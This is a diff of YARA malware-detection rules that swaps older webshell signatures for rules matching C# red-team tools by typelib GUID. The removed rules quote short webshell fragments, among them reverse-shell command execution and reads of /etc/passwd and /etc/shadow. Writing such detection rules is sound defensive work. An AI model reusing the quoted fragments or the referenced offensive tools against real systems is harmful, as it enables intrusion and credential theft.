+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ea95ff3c-0cbb-5230-b5e4-bd8b2ff975eb"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/UAC-Escaper"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L606-L620"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6e293a6c1589b527ac4d72ccc5609b6899a8ff69009d30e9a93b046484564c8"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$yazi = \"test\" . \"\\r\\n\";" fullword
-		$s2 = "fwrite ($fp, \"$yazi\");" fullword
-		$s3 = "$entry_line=\"HACKed by EntriKa\";" fullword
+		$typelibguid0lo = "95359279-5cfa-46f6-b400-e80542a7336a" ascii wide
+		$typelibguid0up = "95359279-5CFA-46F6-B400-E80542A7336A" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Phyton_Shell_Py
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Httpsbeaconshell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Phyton Shell.py.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "2f55d60d-94f3-508d-a2d0-5ab59e3fdab3"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4640-L4653"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "92b3c897090867c65cc169ab037a0f55"
-		logic_hash = "ac16a95cd1fb09c93b315e3cd7d57c1ebec322b641f515854fb73a61393dd365"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d66e3566-6082-570a-a168-f44c9d8c7619"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L622-L636"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0c40d1ab0bfc34a0f27e7e3f84522a93c0d635cba929a708fbd38dfce4404fb"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "sh_out=os.popen(SHELL+\" \"+cmd).readlines()" fullword
-		$s2 = "#   d00r.py 0.3a (reverse|bind)-shell in python by fQ" fullword
-		$s3 = "print \"error; help: head -n 16 d00r.py\"" fullword
-		$s4 = "print \"PW:\",PW,\"PORT:\",PORT,\"HOST:\",HOST" fullword
+		$typelibguid0lo = "aca853dc-9e74-4175-8170-e85372d5f2a9" ascii wide
+		$typelibguid0up = "ACA853DC-9E74-4175-8170-E85372D5F2A9" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Mysql_Tool_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Amsiscanbufferbypass : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file mysql_tool.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "c67197d1-6e40-5bf2-9e1b-6ada43529435"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4654-L4666"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5fbe4d8edeb2769eda5f4add9bab901e"
-		logic_hash = "9f49bd6c56c919f678ecada82ff3d801c82c98a8abdee85cda1ec7e5b6756012"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "12a15e61-30fb-50a3-a59b-39f9871444f0"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/rasta-mouse/AmsiScanBufferBypass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L638-L652"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a064209a06c13506b2d2f3754aed30199b0f4f1c0ef4bc465d847a21b0917545"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$error_text = '<strong>Failed selecting database \"'.$this->db['"
-		$s1 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERV"
-		$s4 = "<div align=\"center\">The backup process has now started<br "
+		$typelibguid0lo = "431ef2d9-5cca-41d3-87ba-c7f5e4582dd2" ascii wide
+		$typelibguid0up = "431EF2D9-5CCA-41D3-87BA-C7F5E4582DD2" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Zehir_4_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Shellcodeloader : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Zehir 4.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ea7df4e1-d4e2-5a58-a014-d12cb9afaf79"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4667-L4678"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7f4e12e159360743ec016273c3b9108c"
-		logic_hash = "69063d866daf1709df81fa22d76177bf8d552e19725a94db4a1b2fca79387faf"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b8787dac-48a3-5711-86ba-0fda86b6224e"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Hzllaga/ShellcodeLoader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L654-L668"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8a36476d087b82e96ea60de1a9879b261d533fb148c44a2e6544fdaa7c574e6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "</a><a href='\"&dosyapath&\"?status=10&dPath=\"&f1.path&\"&path=\"&path&\"&Time="
-		$s4 = "<input type=submit value=\"Test Et!\" onclick=\""
+		$typelibguid0lo = "a48fe0e1-30de-46a6-985a-3f2de3c8ac96" ascii wide
+		$typelibguid0up = "A48FE0E1-30DE-46A6-985A-3F2DE3C8AC96" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Sh_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Keystrokeapi : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file sh.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4679-L4690"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "330af9337ae51d0bac175ba7076d6299"
-		logic_hash = "b0c3307d451e5d7dadece114e2888503a46038e2edb2ff32bf566ce47b300e76"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e715bce8-531b-5e2a-bd02-b2fc4990c499"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/fabriciorissetto/KeystrokeAPI"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L670-L686"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e638c173817ce6e1b59bfd897ba3d45e24a5c1020014999e2ad21afcd4f21291"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/e"
-		$s2 = "Show <input type=text size=5 value=\".((isset($_POST['br_st']))?$_POST['br_st']:"
+		$typelibguid0lo = "f6fec17e-e22d-4149-a8a8-9f64c3c905d3" ascii wide
+		$typelibguid0up = "F6FEC17E-E22D-4149-A8A8-9F64C3C905D3" ascii wide
+		$typelibguid1lo = "b7aa4e23-39a4-49d5-859a-083c789bfea2" ascii wide
+		$typelibguid1up = "B7AA4E23-39A4-49D5-859A-083C789BFEA2" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Phpbackdoor15_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Shellcoderunner : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file phpbackdoor15.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "a93b881b-3050-5f43-803c-4a571aaaef82"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4691-L4703"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0fdb401a49fc2e481e3dfd697078334b"
-		logic_hash = "cdd105f36593e8326ca32bf7cf1fba6fb754e7305c91fe6c078323db8f59b23c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "949364e7-dcb6-5afd-ade9-cc34a6e15e97"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/antman1p/ShellCodeRunner"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L688-L704"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "48dfe2ea9b3ff1ae22c5436b8cb3f3f48658032c94463e2babeb6894ce3c666f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "echo \"fichier telecharge dans \".good_link(\"./\".$_FILES[\"fic\"][\"na"
-		$s2 = "if(move_uploaded_file($_FILES[\"fic\"][\"tmp_name\"],good_link(\"./\".$_FI"
-		$s3 = "echo \"Cliquez sur un nom de fichier pour lancer son telechargement. Cliquez s"
+		$typelibguid0lo = "634874b7-bf85-400c-82f0-7f3b4659549a" ascii wide
+		$typelibguid0up = "634874B7-BF85-400C-82F0-7F3B4659549A" ascii wide
+		$typelibguid1lo = "2f9c3053-077f-45f2-b207-87c3c7b8f054" ascii wide
+		$typelibguid1up = "2F9C3053-077F-45F2-B207-87C3C7B8F054" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Phpjackal_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Offensivecsharp : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file phpjackal.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ae46cb97-1ff8-50ba-856f-c38fbb1e5163"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4704-L4715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ab230817bcc99acb9bdc0ec6d264d76f"
-		logic_hash = "6e2ff262aecd08e5feaa274a7fd128d75565d6cc03341da7cbeb2949070705e5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "339f6858-6076-5320-ba5f-2903e642ea42"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/diljith369/OffensiveCSharp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L706-L742"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8b3f8652b88b353d4fc162f93b373d5beeaaca1b1ebbeaef07a46d859aef4c12"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "$dl=$_REQUEST['downloaD'];"
-		$s4 = "else shelL(\"perl.exe $name $port\");"
+		$typelibguid0lo = "6c3fbc65-b673-40f0-b1ac-20636df01a85" ascii wide
+		$typelibguid0up = "6C3FBC65-B673-40F0-B1AC-20636DF01A85" ascii wide
+		$typelibguid1lo = "2bad9d69-ada9-4f1e-b838-9567e1503e93" ascii wide
+		$typelibguid1up = "2BAD9D69-ADA9-4F1E-B838-9567E1503E93" ascii wide
+		$typelibguid2lo = "512015de-a70f-4887-8eae-e500fd2898ab" ascii wide
+		$typelibguid2up = "512015DE-A70F-4887-8EAE-E500FD2898AB" ascii wide
+		$typelibguid3lo = "1ee4188c-24ac-4478-b892-36b1029a13b3" ascii wide
+		$typelibguid3up = "1EE4188C-24AC-4478-B892-36B1029A13B3" ascii wide
+		$typelibguid4lo = "5c6b7361-f9ab-41dc-bfa0-ed5d4b0032a8" ascii wide
+		$typelibguid4up = "5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8" ascii wide
+		$typelibguid5lo = "048a6559-d4d3-4ad8-af0f-b7f72b212e90" ascii wide
+		$typelibguid5up = "048A6559-D4D3-4AD8-AF0F-B7F72B212E90" ascii wide
+		$typelibguid6lo = "3412fbe9-19d3-41d8-9ad2-6461fcb394dc" ascii wide
+		$typelibguid6up = "3412FBE9-19D3-41D8-9AD2-6461FCB394DC" ascii wide
+		$typelibguid7lo = "9ea4e0dc-9723-4d93-85bb-a4fcab0ad210" ascii wide
+		$typelibguid7up = "9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210" ascii wide
+		$typelibguid8lo = "6d2b239c-ba1e-43ec-8334-d67d52b77181" ascii wide
+		$typelibguid8up = "6D2B239C-BA1E-43EC-8334-D67D52B77181" ascii wide
+		$typelibguid9lo = "42e8b9e1-0cf4-46ae-b573-9d0563e41238" ascii wide
+		$typelibguid9up = "42E8B9E1-0CF4-46AE-B573-9D0563E41238" ascii wide
+		$typelibguid10lo = "0d15e0e3-bcfd-4a85-adcd-0e751dab4dd6" ascii wide
+		$typelibguid10up = "0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6" ascii wide
+		$typelibguid11lo = "644dfd1a-fda5-4948-83c2-8d3b5eda143a" ascii wide
+		$typelibguid11up = "644DFD1A-FDA5-4948-83C2-8D3B5EDA143A" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Sql_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_SHAPESHIFTER : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file sql.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4716-L4728"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8334249cbb969f2d33d678fec2b680c5"
-		logic_hash = "875bdaa0072f869c983526d0aab20b4faa9187a3f32b8024658114a4c908b825"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8903c65a-624f-5e8d-a3f6-4572b56bd2f7"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/matterpreter/SHAPESHIFTER"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L744-L758"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9c53ead8bc93f874b9fab11be0e281fa11f2c590a4c9e649d67eed84de79783d"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "fputs ($fp, \"# RST MySQL tools\\r\\n# Home page: http://rst.void.ru\\r\\n#"
-		$s2 = "http://rst.void.ru"
-		$s3 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+		$typelibguid0lo = "a3ddfcaa-66e7-44fd-ad48-9d80d1651228" ascii wide
+		$typelibguid0up = "A3DDFCAA-66E7-44FD-AD48-9D80D1651228" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Cgi_Python_Py
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Evasor : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file cgi-python.py.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "75e99d10-3cdf-5f87-9933-4ce5ebe18b09"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4729-L4741"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0a15f473e2232b89dae1075e1afdac97"
-		logic_hash = "37c6c7db32a52c8a83ff85f0a50c6fa71e833b9e6d20b1f95e9512fe8bbd0aee"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "457959ed-3e90-52c7-89f9-e1b17b35260e"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/cyberark/Evasor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L760-L774"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69bda55c5a1c8f432c582066eab5efb2aa443fbf0a73e7c4d16d7e987cf1db2e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "a CGI by Fuzzyman"
-		$s1 = "\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + "
-		$s2 = "values = map(lambda x: x.value, theform[field])     # allows for"
+		$typelibguid0lo = "1c8849ef-ad09-4727-bf81-1f777bd1aef8" ascii wide
+		$typelibguid0up = "1C8849EF-AD09-4727-BF81-1F777BD1AEF8" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Ru24_Post_Sh_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Stracciatella : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file ru24_post_sh.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "78669d3e-629b-591a-a766-923e37d1fdba"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4742-L4754"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5b334d494564393f419af745dc1eeec7"
-		logic_hash = "e81e5345bbe07ca85c94a3d8411f0dd3c418689ccae7115c098f718f9093b3bf"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5b1a8102-6d59-5f2f-8ae2-b3c1f75a561d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/mgeeky/Stracciatella"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L776-L790"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bae17954d54753fe1ce9c04c16fc8bdf43c11994f53a13106441170e310dc3d5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<title>Ru24PostWebShell - \".$_POST['cmd'].\"</title>" fullword
-		$s3 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
-		$s4 = "Writed by DreAmeRz" fullword
+		$typelibguid0lo = "eaafa0ac-e464-4fc4-9713-48aa9a6716fb" ascii wide
+		$typelibguid0up = "EAAFA0AC-E464-4FC4-9713-48AA9A6716FB" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Dtool_Pro_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Logger : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file DTool Pro.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "c02c522c-8418-5760-869a-52b41785bebc"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4755-L4767"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "366ad973a3f327dfbfb915b0faaea5a6"
-		logic_hash = "e8f8b4ca2ab4607e700e897671fd230280763a70897b8ccfc31b3bcb7f2a1f4a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "82937fef-8280-5bc6-af4a-55c5cb3a7553"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/xxczaki/logger"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L792-L806"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0967d1278c72da256a647f45369d7ba4de8c17698d23d2e06d3723372a676634"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "r3v3ng4ns\\nDigite"
-		$s1 = "if(!@opendir($chdir)) $ch_msg=\"dtool: line 1: chdir: It seems that the permissi"
-		$s3 = "if (empty($cmd) and $ch_msg==\"\") echo (\"Comandos Exclusivos do DTool Pro\\n"
+		$typelibguid0lo = "9e92a883-3c8b-4572-a73e-bb3e61cfdc16" ascii wide
+		$typelibguid0up = "9E92A883-3C8B-4572-A73E-BB3E61CFDC16" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Telnetd_Pl
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Internal_Monologue : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file telnetd.pl.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "05b5d247-3133-5902-a2ee-b84fa89c7f32"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4768-L4782"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f61136afd17eb025109304bd8d6d414"
-		logic_hash = "faf21758b311fa4c2d11cd60169e6c9a67282cf739b73664456691361a480419"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ce2773a2-b0b7-560e-ba21-3f018ddcacb3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/eladshamir/Internal-Monologue"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L808-L824"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5de43de183553732e48e41d17f441008f0637610d4c15f7f2012437b70750c2c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "0ldW0lf" fullword
-		$s1 = "However you are lucky :P"
-		$s2 = "I'm FuCKeD"
-		$s3 = "ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);#"
-		$s4 = "atrix@irc.brasnet.org"
+		$typelibguid0lo = "0c0333db-8f00-4b68-b1db-18a9cacc1486" ascii wide
+		$typelibguid0up = "0C0333DB-8F00-4B68-B1DB-18A9CACC1486" ascii wide
+		$typelibguid1lo = "84701ace-c584-4886-a3cf-76c57f6e801a" ascii wide
+		$typelibguid1up = "84701ACE-C584-4886-A3CF-76C57F6E801A" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Php_Include_W_Shell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_GRAT2 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file php-include-w-shell.php.txt"
